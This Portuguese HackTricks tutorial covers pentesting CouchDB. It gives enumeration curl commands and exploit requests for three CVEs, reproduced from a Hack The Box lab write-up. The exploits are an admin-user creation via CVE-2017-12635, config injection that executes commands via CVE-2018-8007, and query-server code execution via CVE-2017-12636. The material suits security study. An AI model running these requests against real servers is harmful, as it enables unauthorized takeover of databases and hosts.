# 5984,6984 - Testando a segurança do CouchDB
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
## **Informações Básicas**
**CouchDB** é um banco de dados **orientado a documentos** versátil e poderoso que organiza dados usando uma estrutura de **mapa chave-valor** dentro de cada **documento**. Campos dentro do documento podem ser representados como **pares chave/valor, listas ou mapas**, proporcionando flexibilidade no armazenamento e recuperação de dados.
Cada **documento** armazenado no CouchDB recebe um **identificador único** (`_id`) no nível do documento. Além disso, cada modificação feita e salva no banco de dados recebe um **número de revisão** (`_rev`). Esse número de revisão permite um **rastreamento eficiente e gerenciamento de alterações**, facilitando a recuperação e sincronização de dados dentro do banco de dados.
**Porta padrão:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Enumeração Automática**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Enumeração Manual
### Banner
```
curl http://IP:5984/
```
Este comando emite uma solicitação GET para a instância do CouchDB instalada. A resposta deve se parecer com uma das seguintes:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Note que se ao acessar a raiz do couchdb você receber um `401 Unauthorized` com algo como isso: `{"error":"unauthorized","reason":"Authentication required."}` **você não poderá acessar** o banner ou qualquer outro endpoint.
{% endhint %}
### Enumeração de Informações
Estes são os endpoints aos quais você pode acessar com uma solicitação **GET** e extrair algumas informações interessantes. Você pode encontrar [**mais endpoints e descrições mais detalhadas na documentação do couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
- **`/_active_tasks`** Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo.
- **`/_all_dbs`** Retorna uma lista de todos os bancos de dados na instância do CouchDB.
- **`/_cluster_setup`** Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster.
- **`/_db_updates`** Retorna uma lista de todos os eventos do banco de dados na instância do CouchDB. A existência do banco de dados `_global_changes` é necessária para usar este endpoint.
- **`/_membership`** Exibe os nós que fazem parte do cluster como `cluster_nodes`. O campo `all_nodes` exibe todos os nós que este nó conhece, incluindo aqueles que fazem parte do cluster.
- **`/_scheduler/jobs`** Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas.
- **`/_scheduler/docs`** Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estados `completed` e `failed`. Para cada documento, ele retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino, e outras informações.
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** O endpoint `/_node/{node-name}` pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar `/_node/_local` para recuperar essas informações.
- **`/_node/{node-name}/_stats`** O recurso `_stats` retorna um objeto JSON contendo as estatísticas do servidor em execução. A string literal `_local` serve como um alias para o nome do nó local, então para todos os URLs de estatísticas, `{node-name}` pode ser substituído por `_local`, para interagir com as estatísticas do nó local.
- **`/_node/{node-name}/_system`** O recurso \_system retorna um objeto JSON contendo várias estatísticas de nível de sistema para o servidor em execução\_.\_ Você pode usar \_\_`_local` como {node-name} para obter informações atuais do nó.
- **`/_node/{node-name}/_restart`**
- **`/_up`** Confirma que o servidor está funcionando, em execução e pronto para responder a solicitações. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) for `true` ou `nolb`, o endpoint retornará uma resposta 404.
- **`/_uuids`** Solicita um ou mais Identificadores Únicos Universal (UUIDs) da instância do CouchDB.
- **`/_reshard`** Retorna uma contagem de trabalhos concluídos, falhados, em execução, parados e totais, juntamente com o estado de resharding no cluster.
Mais informações interessantes podem ser extraídas conforme explicado aqui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Lista de Bancos de Dados**
```
curl -X GET http://IP:5984/_all_dbs
```
Se essa solicitação **responder com um 401 não autorizado**, então você precisa de algumas **credenciais válidas** para acessar o banco de dados:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Para encontrar Credenciais válidas você poderia **tentar** [**forçar a barra no serviço**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Este é um **exemplo** de uma **resposta** do couchdb quando você tem **privilégios suficientes** para listar bancos de dados (É apenas uma lista de bancos de dados):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informações do Banco de Dados
Você pode obter algumas informações do banco de dados (como número de arquivos e tamanhos) acessando o nome do banco de dados:
```bash
curl http://IP:5984/
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Lista de Documentos**
Liste cada entrada dentro de um banco de dados
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Ler Documento**
Leia o conteúdo de um documento dentro de um banco de dados:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Escalação de Privilégios no CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Graças às diferenças entre os analisadores JSON de Erlang e JavaScript, você poderia **criar um usuário administrador** com as credenciais `hacktricks:hacktricks` com a seguinte solicitação:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Mais informações sobre essa vulnerabilidade aqui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## RCE do CouchDB
### **Visão geral da segurança do Cookie Erlang**
Exemplo [daqui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Na documentação do CouchDB, especificamente na seção sobre configuração de cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), é discutido o uso de portas pelo CouchDB em modo de cluster. É mencionado que, assim como no modo autônomo, a porta `5984` é usada. Além disso, a porta `5986` é para APIs locais do nó e, importante, Erlang requer a porta TCP `4369` para o Erlang Port Mapper Daemon (EPMD), facilitando a comunicação do nó dentro de um cluster Erlang. Essa configuração forma uma rede onde cada nó está interligado com todos os outros nós.
Um aviso de segurança crucial é destacado em relação à porta `4369`. Se essa porta for acessível pela Internet ou por qualquer rede não confiável, a segurança do sistema depende fortemente de um identificador único conhecido como "cookie". Esse cookie atua como uma salvaguarda. Por exemplo, em uma lista de processos, pode-se observar um cookie chamado "monster", indicando seu papel operacional no framework de segurança do sistema.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Para aqueles interessados em entender como este "cookie" pode ser explorado para Execução Remota de Código (RCE) no contexto de sistemas Erlang, uma seção dedicada está disponível para leitura adicional. Ela detalha as metodologias para alavancar cookies Erlang de maneiras não autorizadas para obter controle sobre sistemas. Você pode **[explorar o guia detalhado sobre abuso de cookies Erlang para RCE aqui](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Explorando CVE-2018-8007 através da modificação do local.ini**
Exemplo [daqui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Uma vulnerabilidade recentemente divulgada, CVE-2018-8007, afetando o Apache CouchDB foi explorada, revelando que a exploração requer permissões de escrita no arquivo `local.ini`. Embora não seja diretamente aplicável ao sistema alvo inicial devido a restrições de segurança, foram feitas modificações para conceder acesso de escrita ao arquivo `local.ini` para fins de exploração. Passos detalhados e exemplos de código são fornecidos abaixo, demonstrando o processo.
Primeiramente, o ambiente é preparado garantindo que o arquivo `local.ini` seja gravável, verificado listando as permissões:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Para explorar a vulnerabilidade, é executado um comando curl, visando a configuração `cors/origins` em `local.ini`. Isso injeta uma nova origem juntamente com comandos adicionais na seção `[os_daemons]`, com o objetivo de executar código arbitrário:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
A verificação subsequente mostra a configuração injetada em `local.ini`, contrastando-a com um backup para destacar as alterações:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Inicialmente, o arquivo esperado (`/tmp/0xdf`) não existe, indicando que o comando injetado ainda não foi executado. Uma investigação adicional revela que processos relacionados ao CouchDB estão em execução, incluindo um que potencialmente poderia executar o comando injetado:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Ao terminar o processo identificado do CouchDB e permitir que o sistema o reinicie automaticamente, a execução do comando injetado é acionada, confirmada pela existência do arquivo anteriormente ausente:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Esta exploração confirma a viabilidade da exploração CVE-2018-8007 sob condições específicas, especialmente a necessidade de acesso de escrita ao arquivo `local.ini`. Os exemplos de código fornecidos e os passos procedimentais oferecem um guia claro para replicar o exploit em um ambiente controlado.
Para mais detalhes sobre CVE-2018-8007, consulte o aviso da mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Explorando CVE-2017-12636 com Permissões de Escrita no local.ini**
Exemplo [daqui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Uma vulnerabilidade conhecida como CVE-2017-12636 foi explorada, que permite a execução de código por meio do processo CouchDB, embora configurações específicas possam impedir sua exploração. Apesar de numerosas referências de Prova de Conceito (POC) disponíveis online, ajustes são necessários para explorar a vulnerabilidade na versão 2 do CouchDB, diferindo da versão 1.x comumente visada. Os passos iniciais envolvem verificar a versão do CouchDB e confirmar a ausência do caminho esperado dos servidores de consulta:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Para acomodar o CouchDB versão 2.0, um novo caminho é utilizado:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Tentativas de adicionar e invocar um novo servidor de consulta foram encontradas com erros relacionados a permissões, conforme indicado pela saída a seguir:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Mais investigação revelou problemas de permissão com o arquivo `local.ini`, que não estava gravável. Ao modificar as permissões do arquivo com acesso root ou homer, tornou-se possível prosseguir:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Tentativas subsequentes de adicionar o servidor de consulta tiveram sucesso, como demonstrado pela ausência de mensagens de erro na resposta. A modificação bem-sucedida do arquivo `local.ini` foi confirmada por meio da comparação de arquivos:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
O processo continuou com a criação de um banco de dados e um documento, seguido por uma tentativa de executar código através de um mapeamento de visualização personalizado para o servidor de consulta recém-adicionado:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Um **[resumo](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** com um payload alternativo fornece mais informações sobre a exploração do CVE-2017-12636 em condições específicas. **Recursos úteis** para explorar essa vulnerabilidade incluem:
- [Código de exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Entrada no Exploit Database](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## Referências
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).